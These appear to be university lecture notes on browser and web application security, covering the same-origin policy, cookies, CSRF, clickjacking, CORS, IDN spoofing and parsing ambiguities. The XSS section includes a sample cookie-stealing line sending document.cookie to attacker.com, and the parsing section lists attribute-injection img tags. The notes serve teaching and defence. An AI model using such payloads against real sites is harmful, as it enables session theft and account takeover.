Web application security
========================

Historically, much of the security action was on the server.
  So far, we have been looking at security of servers.
  E.g., OKWS (paper from 2004) worried about bugs in server-side code.
  Web applications were mostly running code on the server.
  Browser received HTML, displayed it, followed links, etc.

Modern web applications rely on client-side code to run in web browsers.
  Mostly Javascript, but also Flash, Native Client (later lecture),
    and even HTML, CSS, and PDF, in various ways.
  Advantages: dynamic content, low-latency responsiveness, etc.
  Drawback: much harder to reason about and avoid security problems.

  What does a browser need to do in order to isolate client-side code?
    Sandbox code: interpose on all interactions with resources.
    Controlled access to resources: decide what operations can be performed.
  Some bugs arise in sandboxing code, but many more arise in allowed operations.
    Both implementation bugs in browser code, and design-level bugs.
    (E.g., designers did not think through all implications of some API..)
  This lecture's discussion will inevitably be incomplete, possibly buggy..
    See "Browser Security Handbook" and "The Tangled Web" for more completeness.
    Will try to cover some over-arching principles (to the extent they exist).
    Will also talk about some interesting past/present pitfalls.

How did this design come about?
  Incremental design/development: no single coherent design.
  Security issues patched as they were discovered, with extra rules/checks.
  Browser vendors competed (and to some extent still compete) on functionality.
  Adding new features (or even security mechanisms) before standards.
  Historically, W3C has largely been documenting what browsers already do,
    instead of proposing new standards that browsers will then implement.
  Browsers didn't always agree on overall plan, or the implementation details.
    As a result, many inconsistent corner cases that can be exploited.
  Now, there's quite a bit of collaboration "behind the scenes".
    Developers of Chrome, Firefox, IE talk to each other a fair amount.
  Important issues get fixed slowly over time.
    Compatibility is a huge constraint, hard to break old sites.
    (Users will stop using your web browser!)
  Some of the fixes take place in Javascript libraries (jQuery, etc).
    When possible, just a compatibility layer on top of raw browser APIs.

Threat model / assumptions.  [ Are they reasonable? ]
  Attacker controls his/her own web site, attacker.com.
    Inevitable, with some other domain name.
  Attacker's web site is loaded in your browser.
    Advertisements, links, etc.
  Attacker cannot intercept/inject packets into the network.
    Will try to solve separately with SSL.
  Browser/server doesn't have buffer overflows.
    Will try to solve separately with wide variety of techniques.

Policy / goals.  [ Not complete, but at least a subset.. ]
  Isolation of code from different sites.
    One web site shouldn't be able to interfere with another web site.
    Hard to pin down: what is interference vs. what is legitimate interaction?
    Will look at what this means in various contexts..
  Allow user to identify web site.
    User should be able to tell what web site they are interacting with.
    Necessary if user is relying on page contents, or enters confidential data.
    Phishing attacks often try to mislead the user / violate UI security.
    Note: identifying site would be meaningless without code isolation.
  We will largely focus on code isolation for this lecture.
    UI security is quite important but is even less clear / well-defined.
    Will cover common programming mistakes (SQL injection, XSS) next lecture.

How does Javascript interact with a web page?
  HTML elements -> DOM nodes organized in a tree.
  Javascript code in <SCRIPT> tags, event handlers (onClick) on DOM nodes, etc.
  Language is single-threaded, event-based (will be used extensively in lab 5).
  DOM nodes are objects that can be manipulated by Javascript.
  Global objects/names (window, document, XMLHttpRequest) allow add'l operations.
  HTML elements / DOM nodes can invoke Javascript via event handlers.
  HTML frames allow pages/code from multiple sites to co-exist in one window.
  Javascript issues HTTP requests using XMLHttpRequest or by creating DOM nodes.

What are some of the resources that matter in a web browser?
  DOM nodes.
  Browser windows.
  HTTP cookies.
  HTTP responses.
  Network addresses (what machines can you talk to over the network).
  Pixels on the screen (in part for UI security).

What are the principals?  (Equivalent of the UID from a Unix system.)
  HTTP "origins": tuple of protocol, host, and port.
    http://web.mit.edu/6.858/     -> (http, web.mit.edu, 80)
    http://web.mit.edu/bitbucket/ -> (http, web.mit.edu, 80)
    https://web.mit.edu/6.858/    -> (https, web.mit.edu, 443)
  Javascript code runs with the principal of the frame that "loaded it".
    Doesn't matter where code came from.
      E.g., <SCRIPT SRC="http://www.google.com/foo.js">.
      Still runs as the page containing the <SCRIPT> tag.
      Think of it as you running a binary from another user's home directory.
    Principal/origin often used to decide on access to some resource.
  Javascript code can adjust its origin (document.domain) to a suffix.
    E.g., can change origin from (http, web.mit.edu, 80) to (http, mit.edu, 80).
    Meant to help two sites in the same higher-level domain to cooperate.

How does the browser decide on resource access?
  Overall plan is usually called the "Same-Origin Policy".
    "Intuitive" goal: should only be able to access resources from same origin.
    Assumes there's a clear origin associated with every resource.
    Unclear how origins should interact if necessary.
    Invented "after the fact", so there are a number of exceptions.

  To some extent, Javascript sandboxing is based on capabilities.
    Language does not allow a program to manufacture references.
    Code can only operate on objects that it has a reference to.
      E.g., to navigate window/frame, must have handle on that object.
      No reference on window/frame -> cannot navigate.
    Recall from Capsicum paper: this works if there's no global namespaces.
      Unfortunately there are global namespaces for frames/windows.
      E.g., window.open("url", "name").
      Another page can get a handle on this window by passing in the same name.
      Have to be extra-careful with named windows!

  Some resources are handled according to origins.
    Frame/window: origin of the frame's URL (or the adjusted document.domain).
    DOM node: origin of the frame in which it resides.

  Cookies almost have an origin.
    Ubiquitous mechanism to keep state (e.g., session info) in browser.
      Typically holds user's authentication token: juicy target!
    Cookie associated with a domain and a path (e.g., *.mit.edu/6.858/).
      Whoever sets cookie gets to specify domain and path.
      Can be set by server using a header, or by writing to document.cookie.
      There's also a "secure" flag to indicate HTTPS-only cookies.
    Browser keeps cookies in some persistent storage.
      Modulo expiration, ephemeral cookies, etc, but that's beside the point.

    Who can access the cookie?
      On each HTTP request, browser puts all matching cookies in header.
        E.g., http://www.csail.mit.edu/6.858/ would match, but not
              http://web.mit.edu/bitbucket/.
        Secure cookies only sent along with HTTPS requests.
      Inside browser, can access cookies that match origin.
        Cookie's path ignored.
        Origin's port ignored.
        Origin's protocol kind-of matters.
          "Secure" cookies are accessible only to HTTPS origins.
          Non-"secure" cookies can be accessed by HTTP+HTTPS origins.

    Does overwriting the cookie matter?
      Potentially yes: e.g., force victim into my gmail account.
      Will be able to read their sent emails, etc.

    Who can overwrite a cookie?
      Can web server at www.google.com set cookie for *.google.com?
      How about for *.com?  (That would get sent to www.amazon.com..)
      How about www.google.co.uk setting cookie for *.co.uk?
      Browsers hard-code a list of TLDs with their naming policies.
      Non-secure cookie can sometimes override existing secure cookie.

  Some resources have a bunch of exceptions: HTTP responses.
    Accessible almost-only to code in same origin as URL.
      (Non-CORS) XMLHttpRequest only allows same-origin requests.
    Exception: can load an image from any URL in any page/frame.
      Image gets displayed, but Javascript can't access image contents.
      However, Javascript learns the size of the image.
    Exception: can load Javascript code from any URL in any page/frame.
      Code runs in the frame, although can't be directly accessed.
    Exception: can load CSS stylesheet from any URL in any page/frame.
      Again, can't access the bytes, but might infer something about it.
    Exception: can run plugins on data from any URL in any page/frame.
      <EMBED SRC=...> tag; depends on plugin.

    Complication: HTTP cookies are sent along with all HTTP requests.
    What if adversary tricks your browser to GET http://bank.com/xfer?...
      Called a "cross-site request forgery" (CSRF) attack.
      Common solution: embed additional per-user token in bank's legit link.
      Adversary can't embed it into their request.
      Server rejects requests that don't have the correct per-user token.
      POSTs are not immune either: anyone can construct form & submit from JS.

    What if adversary tricks your browser to GET http://bank.com/balance?...
      Adversary could try to interpret it as an image, Javascript, CSS, ...
        Doesn't have to parse fully: CSS parser is quite tolerant.
        Might learn what your balance is, as a result.
      Embedding CSRF-protection tokens in every URL may be overkill:
        makes it hard to cache, hard to prefetch, hard to link, etc.
      Often: make sure sensitive data doesn't parse as an image, JS, or CSS.
        Handbook suggests starting your sensitive data with ")]}\n"..

  Network addresses almost have an origin.
    Can send HTTP/HTTPS requests to host/port matching the initial origin.
    Surprise interaction: DNS re-binding attacks, allows port-scanning, etc.

    More recent extension: WebSockets.
      Will allow connection to any server that responds using special format.
      Meant to prevent communication with existing servers: SMTP, HTTP, etc.

  Some resources don't have an origin.
    Pixels on the screen: can draw within boundaries of frame.
    Problem: can interact with pixels of sub-frames from other origins.
    UI redressing / "Clickjacking" attacks.
      Common with Facebook apps: trick user to click on "Allow" button.
    Workaround: security-sensitive sites do "frame-busting" to avoid framing.
    Can't always do this; some elements meant to be embedded ("Like" button).

What about URLs that don't have an origin?
  Examples:
    data:text/html,<b>Hello</b>
    about:blank
    javascript:document.cookie="x"
    ...
  Origin inheritance.
    Sometimes origin comes from whoever created this origin-less frame.
    Sometimes origin-less frame is not accessible to any other origin.

How does a web application developer protect their sensitive data (cookie)?
  Consider three parties:
    A vulnerable web site (amazon.com).
    A victim user, V.
    An attacker that has their own web site (attacker.com).
  Goal of attacker is to steal victim's amazon.com cookie.

  Common programming mistake: cross-site scripting (XSS).
  Suppose amazon.com has some page that prints back part of the arguments.
    E.g. (made up): http://amazon.com/search?q=foo prints "Searching for foo".
  If attacker constructs a link as follows:
    http://amazon.com/search?q=<script>xxx</script>
  .. then amazon's web server will print Searching for <script>xxx</script>.
  Attacker creates a page with an <IFRAME SRC="http://amazon.com/search?q=...">
    When victim visits page, IFRAME runs attacker's code as amazon's origin.
    Because running in victim's browser, has access to victim's amazon cookie.
    Can steal cookie: approx. <IMG SRC="http://attacker.com/" + document.cookie>

  How to avoid?
    Think hard about your code.
    Use some static analysis tool to find bugs in your code (next lecture).
    Put untrusted user content in a separate origin (privilege separation).

Interactions between origins: want to build mash-up applications.
  Yelp wants to integrate with Google Maps.
  Build an app that stores data into Google Docs.
  .. etc ..

  One approach: server-side interactions.
    Yelp fetches data from Google Maps, or loads/stores data from Google Docs.
    Undesirable: trusting Yelp, performance costs, ..

  One approach: force one site to trust the other (e.g., Yelp inlines GMaps).
    Yelp can just include a <SCRIPT SRC=...> tag to load GMaps code.

  Cross-origin frame communication.
    Message-passing API between frames: frame.postMessage(msg, targetOrigin);
    Receiver frame must register a Javascript function to handle incoming msgs.
    Need handle on target frame.
    Include targetOrigin in case frame is navigated before message is sent.
      Complex/inconsistent rules for allowing frame/window navigation.
    Anyone with handle on frame can send messages.

  Flexible cross-origin access control: CORS, fairly recent proposal.
    Server adds headers to specify who can issue HTTP reqs / see HTTP response.
    Access-Control-Allow-Origin specifies what origins can see HTTP response.
    Access-Control-Allow-Credentials specifies if browser should send cookie.

One interesting bit of UI security (might talk about others in SSL lecture).
  IDN: internationalized domain names (non-latin letters).
  Makes it difficult for users to distinguish two domain names from each other.
    Hard for users to tell if they're looking at a cyrillic or latin letter.
    Infact, glyphs displayed on the screen can be identical.
    E.g., "xn--80a8a.com" gets displayed as "ас.com", but "ас" is cyrillic.
  Wasn't part of the threat model before.
    Good example of how new features can undermine security assumptions.
    Browser vendors thought registrars will prohibit ambiguous names.
    Registrars throught browser vendors will change browser to do something.

Other subtly-different security policies:
  Flash.
    crossdomain.xml specifies which origins can talk to this server via Flash.
    XMLSockets: same origin (and sometimes others too), any port >1024.
  Java.
  Silverlight.
  Google's Gears (not so relevant anymore).
  ...

Ambiguous protocols.
  HTTP pipelining -> response splitting.
    Multiple HTTP requests can be issued over the same connection in pipeline.
    Responses are in-order: header, CRLF CRLF, data, header, ...
    Injecting additional CRLF's can sometimes cause browser to be "one off".
    E.g., if server's response includes arbitrary data as part of Cookie header.
    Can force browser to mis-interpret HTTP responses!

  HTML parsing.
    Suppose you want to strip Javascript from an adversary-supplied image tag.
    Which of these are dangerous?
      <img src="xx" onclick="xx">  [yes]
      <img src="xx onclick="xx">   [perhaps not]
      <img src="xx"onclick="xx">   [yes, implicit whitespace after end-quote]
      <img src=xx=""onclick="xx">  [yes on IE, =" starts quoted string]
    Inconsistent parsing makes it difficult to reason about security properties.

  Content sniffing.
    Typically, HTTP response includes a Content-Type header.
    Sometimes web servers are misconfigured, provide wrong header values.
    Browser tries to guess the type of a given document to "help".
    What happens if adversary includes <IFRAME SRC="http://victim.com/foo">?
      If the file is an image, will get rendered as image.
      If HTML or PDF, will get executed in browser under victim's origin.
      Server that allows uploading arbitrary images might be vulnerable,
        if some browser can think the image is actually HTML or PDF!

  Character encoding.

  Lesson: be explicit, no ambiguity!

Covert channels: history sniffing.
  CSS-based sniffing attacks.
  Cache access times for images.

What's changed since this handbook came out?
  Generally things have gotten more complicated.
  Just for reference, some of the new things:
    http://en.wikipedia.org/wiki/Content_Security_Policy
    http://en.wikipedia.org/wiki/Strict_Transport_Security
    http://en.wikipedia.org/wiki/Cross-origin_resource_sharing
    HTML5 iframe sandbox attribute.

What would a better design look like?
  Relatively easy to speculate about better designs.
  Hard to know if this would enable all the things on the web today.
  Backwards compatibility is a huge constraint in practice.

  Good ideas:
    Be explicit everywhere: no ambiguity or guessing.
    Retrofitting security is often difficult and error-prone.
    Clear notion of a principal that's not tied to anything else.
    Clear plan for what principal is used for every operation.
    Clear plan for what resources are protected, what the access rules are.
      Helps app developers know what they can rely on.
    Make it easy to figure out security-relevant pieces.
      Don't require complex parser (e.g., HTML, HTTP headers) to get policy.
    Clear mechanism for web sites to interact (message-passing, change ACLs?).

References (in addition to the "Browser Security Handbook"):
  "The Tangled Web", a book by Michal Zalewski.